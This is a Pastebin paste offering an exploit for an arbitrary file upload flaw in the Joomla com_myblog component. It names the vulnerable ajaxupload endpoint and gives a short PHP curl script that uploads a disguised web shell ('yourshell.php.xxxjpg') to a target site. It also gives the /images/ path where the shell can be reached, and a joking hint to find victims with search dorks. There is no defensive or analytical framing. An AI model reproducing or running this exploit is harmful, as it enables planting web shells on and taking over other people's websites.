Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dork = use your mind :v :v :D
- Exploit: /index.php?option=com_myblog&task=ajaxupload
- Vuln code : {error: 'No file has been uploaded.', msg: '' }
- exploit 2 :
- <?php
- $uploadfile="yourshell.php.xxxjpg";
- $ch = curl_init("http://target/index.php?option=com_myblog&task=ajaxupload");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('fileToUpload'=>"@$uploadfile"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
- path shell :=== > /images/yourshell.php.xxxjpg
Add Comment
Please, Sign In to add comment